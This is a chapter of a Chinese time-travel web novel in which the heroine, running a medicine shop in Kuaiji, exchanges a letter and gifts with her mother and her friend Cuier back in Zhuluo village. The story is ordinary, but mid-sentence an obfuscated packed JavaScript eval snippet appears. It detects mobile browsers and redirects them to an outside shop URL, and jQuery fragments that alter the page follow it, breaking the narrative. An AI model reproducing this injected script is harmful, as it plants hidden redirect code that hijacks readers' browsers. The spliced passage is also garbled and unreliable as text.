21. 家书
作品:《穿成东施,在春秋和西施当闺蜜》 悬壶堂开张满一个月的那天,施晓青收到了一封信。
信是翠儿托人捎来的。
一个从诸暨来的货郎,在城南卸货时听说“悬壶堂的施姑娘”,便拐进来问了一句,把一卷皱巴巴的树皮递给她。
“苎萝村一个姑娘让带给你的,说姓翠。”
施晓青接过那卷树皮,手指微微发颤。
树皮上歪歪扭扭地画着一行字,翠儿不识字,只是照葫芦画瓢地把施晓青临走前留给她的那个“模板”描了一遍。
施晓青看了好一会儿才认出来:“阿青,我们都好,你别担心。你阿母想你,哭了。我也想你。”
就这么几个字,施晓青看到眼眶发酸,看到视线模糊。她把树皮收好,收进怀里,贴着那根麻绳带子。
“她还说了什么?”她问货郎。
货郎想了想:“那位姑娘说,让你有空写封信回去,别让你阿母惦记。还说,家里都挺好的,就是……就是大家都挺想你的。”
施晓青点了点头,从柜台里拿出几个铜板递过去,货郎摆手不要,她硬塞到他手里:“拿着,辛苦你跑这一趟。”
货郎走后,施晓青坐在柜台后面,发了好一会儿呆。
来会稽城快两个月了。
刚来的时候忙着落脚,忙着开铺子,忙着给人看病,忙着打听夷光的消息。
每天都排得满满的,满到没有时间去想苎萝村,没有时间去想阿母。
可此刻,那卷皱巴巴的树皮像一把钥匙,打开了她心里那扇一直关着的门。
阿母。
临走那天,阿母站在院门口,眼圈红红的,忍着没哭。
阿母哑着嗓子说:“你到了那边,记得写信回来。”
“你呀,总是惦记别人,就不惦记惦记自己,”那语气,又心疼又无奈。
阿母不识字。
她写给阿母的信,阿母也看不懂。
可翠儿会念给她听。
翠儿会把信上的每一个字,翻来覆去地念,直到阿母说:“好了好了,我知道了。”
过一会儿又问:“她刚才说啥?再说一遍”。
施晓青吸了吸鼻子,从柜台下面翻出一张干净的树皮,拿起炭笔,开始写信。
“阿母,我在会稽城很好,开了间药铺,叫悬壶堂。不大,但够用了。城南的街坊邻居都很照顾我,来看病的人也渐渐多了。您别担心我,我吃得好,穿得暖,睡得也踏实。您要照顾好自己,那些药按时用,别舍不得。翠儿来帮忙读信的时候,您让她慢慢念,别着急。等我攒够了钱,就回去看您。”
写完之后,她看了一遍,又看了一遍。字还是不好看,但工整,一笔一划,像在做一件极郑重的事。
她把树皮折好,又从柜台里拿出几个铜板、一小包晒干的薄荷叶、一小罐自己熬的桂花蜜,用粗布包成一个包袱。
薄荷叶是给阿母泡水喝的,桂花蜜是给阿母抹饼子的。都不是什么值钱的东西,但都是她亲手做的,带着她的手心和会稽城的味道。
她打算明天去找那个货郎,托他带回去。
夜里,施晓青躺在小厢房的床上,翻来覆去睡不着。
窗外月色很好,照在枇杷树的叶子上,泛着银白色的光。
她睁着眼,无心睡觉。
苎萝村现在是什么样子呢?
春天应该快过完了,溪边的水应该暖了一些,那些野薄荷应该长得很高了。
阿母应该每天还是早早起来,喂鸡、烧水、做饭,然后坐在院门口择菜,看着那条村路发呆。
翠儿应该还是隔三差五地来串门,跟阿母说说话,帮忙挑挑水,然后趴在桌上,让阿母念她的信。
施晓青的眼泪从眼角滑到枕头上。
她很少哭。
从穿越到这个世界的第一天起,她就告诉自己,不能哭,哭没有用,哭解决不了任何问题。
可此刻,在这个安静的、只有月光和枇杷树的夜里,她忽然很想哭。
那个在苎萝村的小院子里,一个人坐在灶房门口,看着一锅粥发呆的女人。那个女儿走了快两个月,只收到过一封报平安的口信的女人。那个嘴上说“你在外面好好的就行”,心里却每天都在盼着她回去的女人。
施晓青把被子拉过来,蒙住头,无声地哭了一场。
哭完之后,她坐起来,擦了擦脸,从枕头底下摸出那根麻绳带子。带子又长了一些。她用手指量了量,从这头到那头,已经比她伸直双臂再向外延伸四掌还长了。
她不知道这根带子要编到多长。也许要编到夷光从内城出来的那天,也许要编到她们重逢的那天,也许要编到永远。但没关系,她有耐心,她有的是时间。
她把带子折好,重新收进怀里,闭上眼。
明天,还要早起熬薄荷茶。还要接待来看病的人。还要打听内城的消息。还要给阿母寄东西。
她不能停。
*
五日后,苎萝村。
翠儿从镇上回来,手里攥着一个粗布包袱,几乎是跑着冲进施晓青家的院门。
“婶子!婶子!阿青来信了!还带了东西!”
阿母正在灶房里烧火,听到声音,手里的柴火掉在地上。
她站起来,擦了擦手,走到门口,看见翠儿气喘吁吁地举着那个包袱,眼睛一下子就红了。
“她……她说了什么?”
翠儿拉着阿母坐到院里的石墩上,打开包袱。里面是一张叠得整整齐齐的树皮、一小包薄荷叶、一小罐桂花蜜,还有几个铜板。
翠儿拿起树皮,展开,清了清嗓子,一个字一个字地念:“阿母,我在会稽城很好,开了间药铺,叫悬壶堂……”
她念得很慢,很认真,每一个字都念得很清楚。阿母听着,眼泪一滴一滴地掉下来,落在衣襟上,落在手背上,落在那个粗布包袱上。
“她……她开了药铺?”阿母的声音发颤。
“嗯,开了药铺。”翠儿把信念完,又从头念了一遍。念完之后,她把树皮递给阿母。“婶子,您收好。”
阿母接过树皮,手指摩挲着那些歪歪扭扭的字,像是在摸女儿的脸。
“她瘦了没有?”她问。
翠儿愣了一下:“信上没说。”
“她肯定瘦了。”
阿母的眼泪又掉下来,“那孩子,从小就不知道照顾自己。给别人看病倒是上心,自己的事从来不上心。她在那边,有没有人给她做饭?有没有人给她洗衣裳?有没有人……”
“婶子,”翠儿握住她的手,“阿青说她很好。她说吃得好,穿得暖,睡得也踏实。您别担心她。她把薄荷叶和桂花蜜都寄回来了,说明她心里惦记着您呢。”
阿母点了点头,把树皮贴在胸口,像抱着一个孩子。
那天晚上,阿母没有做饭。
她坐在灶房门口,把那封信看了又看。
虽然她一个字也不认识,但她就那么看着,看着那些歪歪扭扭的笔画,像是能从中看出女儿的脸,看出女儿的笑,看出女儿在会稽城的日子。
翠儿陪她坐到很晚,直到月亮升到头顶,才起身回家。临走前,她把那罐桂花蜜打开,抹了一块饼子递给阿母。
“婶子,尝尝。阿青做的。”
阿母接过饼子,咬了一口,眼泪又掉了下来。
甜,很甜。甜得让人想哭。
第二天一早,翠儿又来了。
她帮阿母挑了水,扫了院子,喂了鸡,然后把那包薄荷叶拿出来,给阿母泡了一碗水。
“婶子,阿青说这个泡水喝,对身体好。”
阿母接过碗,低头看着碗里浮浮沉沉的薄荷叶,喝了一口,清清凉凉的,一直凉到心里。
“翠儿,”阿母忽然说,“你说,阿青在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486896|202064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会稽城,会不会有人欺负她?”
翠儿想了想:“婶子,阿青那个人,您还不了解吗?她不欺负别人就不错了,谁能欺负得了她?”
阿母愣了一下,然后笑了,那是施晓青走后,阿母第一次笑。
翠儿看着阿母的笑容,心里也酸酸的。
她想阿青,想那个总是坐在后院捣药的、话不多但什么事都记在心里的姑娘。
她想告诉阿青,你阿母很好,村里很好,大家都很好。你不用担心,你只管做你的事,等你办完了,就回来。
可她不会写信,她只会照着那个“模板”描,描得歪歪扭扭的,连自己都认不出。
但她还是要写。哪怕只写几个字,也要写。因为那是阿青,是她最好的朋友。
*
悬壶堂开张一个半月后,施晓青的生活步入正轨。
每天清晨,她起来熬薄荷茶,开门,接诊,巡诊,关门,记录。
日子像溪水一样,不紧不慢地淌着。
但她心里清楚,平静的水面下,暗流从未停止涌动。
夫人的消息每隔几日就会通过素心传过来。
“夫人说,施夷光一切都好,训练很刻苦,吴嬷嬷夸她有天分。”
“夫人说,施夷光最近在学一种新的舞蹈,学得很快,比其他人快了一大截。”
“夫人说,施夷光好像瘦了一些,但精神还好,不用担心。”
每一条消息,施晓青都仔仔细细地记在桑树皮上。
她把那些零散的信息拼在一起,在心里勾勒出夷光在内城的样子——
刻苦的、聪明的、坚韧的、不放弃的。
那就是夷光。无论在苎萝村,还是在会稽城,她都是那个样子。永远在努力,永远不认输。
这天下午,施晓青正在铺子里给一个孩子看咳嗽,素心又来了。
这一次,她带了一张帖子:“夫人说,后日是她生辰,想请你去府上坐坐,吃顿饭。”
施晓青接过帖子,看了一眼:“夫人太客气了,我会去的。”
素心走后,施晓青站在门口,看着巷子里来来往往的行人。
夫人的生辰,去府上吃饭。这是一次进入夫人社交圈的机会。夫人请的人,应该都是有头有脸的。那些人的言谈举止、人情往来、甚至无意中透露的信息,都可能成为她拼图的一部分。
她需要准备一份礼物,她想了想,回到后院,从药柜里拿出几样东西——
干玫瑰花、干桂花、干菊花、干薄荷,还有一小罐蜂蜜。她把玫瑰、桂花、菊花、薄荷按比例配好,加入蜂蜜,用手揉搓,然后放在陶罐里密封。
这是她自制的“四花蜜茶”。冲泡之后,花香四溢,清甜可口,最适合女子饮用。
不是值钱的东西,但胜在用心,胜在独一无二。
她又在陶罐外面贴了一张小纸条,上面写着“四花蜜茶”四个字,和冲泡的方法。
然后把陶罐用粗布包好,放在柜台下面,等着后日带去。
夜里,施晓青躺在小厢房的床上,手里攥着那根麻绳带子。
带子又长了一些。她用手指量了量,从这头到那头,已经比她伸直双臂再向外延伸五掌长了。
她想起阿母了,那时阿母站在院门口,眼圈红红的,忍着没哭的样子。想起翠儿趴在桌上,照着“模板”描字的样子。想起苎萝村的春天,溪边的野薄荷,后院的药圃,还有那些月光下的夜晚。
她想家了,想念那些简单的人、简单的事、简单的日子。
可她不能回去,至少现在不能。
夷光还在内城,她的任务还没有完成。
她不能回去。
她把带子贴在胸口,闭上眼。
阿母,等我。等我把这边的事办完,我就回去看你。
我会和夷光一起回去。
我答应你。

